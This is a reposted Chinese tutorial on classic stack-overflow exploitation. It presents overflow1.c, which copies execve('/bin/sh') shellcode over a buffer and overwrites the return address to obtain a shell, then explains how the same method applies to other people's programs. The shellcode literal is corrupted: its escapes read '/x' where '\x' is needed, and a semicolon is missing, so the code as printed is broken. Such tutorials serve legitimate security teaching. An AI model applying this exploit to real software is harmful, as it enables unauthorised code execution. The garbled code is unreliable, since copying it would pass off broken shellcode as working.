加入收藏 | 设为首页 | 会员中心 | 我要投稿 东莞站长网 (https://www.0769zz.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 服务器 > 安全 > 正文

堆栈溢出技术从入门到高深 使用堆栈溢出获得shell

发布时间:2022-04-30 10:45:01 所属栏目:安全 来源:互联网
导读:在《堆栈溢出技术从入门到高深:如何书写shell code》中,笔者为大家介绍了一下堆栈的基础知识以及shellcode基本算法等知识,下面本文继续为读者介绍如何利用堆栈溢出来获得shell: 利用堆栈溢出获得shell 好了,现在我们已经制造了一次堆栈溢出,写好了一个
        在《堆栈溢出技术从入门到高深:如何书写shell code》中,笔者为大家介绍了一下堆栈的基础知识以及shellcode基本算法等知识,下面本文继续为读者介绍如何利用堆栈溢出来获得shell:
  
        利用堆栈溢出获得shell
 
      好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已经作完,我们把二者结合起来,就写出一个利用堆栈溢出获得shell的程序。
 
overflow1.c
 
char shellcode[] ="/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
 
"/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
 
"/x80/xe8/xdc/xff/xff/xff/bin/sh"
 
char large_string[128];
 
void main() {
 
char buffer[96];
 
int i;
 
long *long_ptr = (long *) large_string;
 
for (i = 0; i < 32; i++)
 
*(long_ptr + i) = (int) buffer;
 
for (i = 0; i < strlen(shellcode); i++)
 
large_string[i] = shellcode[i];
 
strcpy(buffer,large_string);
 
}
 
在执行完strcpy后,堆栈内容如下所示:
 
内存底部 内存顶部
 
buffer EBP ret
 
<------ [SSS...SSSA ][A ][A ]A..A
 
回想一下前面所讲,我们通过一个shellcode数组来存放shellcode,利用程序中的strcpy函数,把shellcode放到了程序的堆栈之中;我们制造了数组越界,用shellcode的开始地址覆盖了程序(overflow.c)的返回地址,程序在返回的时候就会去执行我们的shellcode,从而我们得到了一个shell。当我们面对别人写的程序时,为了让他执行我们的shellcode,同样必须作这两件事:
 
1:把我们的shellcode提供给他,让他可以访问shellcode。
 
2:修改他的返回地址为shellcode的入口地址。
 
为了做到这两条,我们必须知道他的strcpy(buffer,ourshellcode)中,buffer的地址。因为当我们把shellcode提供给strcpy之后,buffer的开始地址就是shellcode的开始地址,我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。我们知道,对于操作系统来说,一个shell下的每一个程序的堆栈段开始地址都是相同的。我们可以写一个程序,获得运行时的堆栈起始地址,这样,我们就知道了目标程序堆栈的开始地址。

(编辑:东莞站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!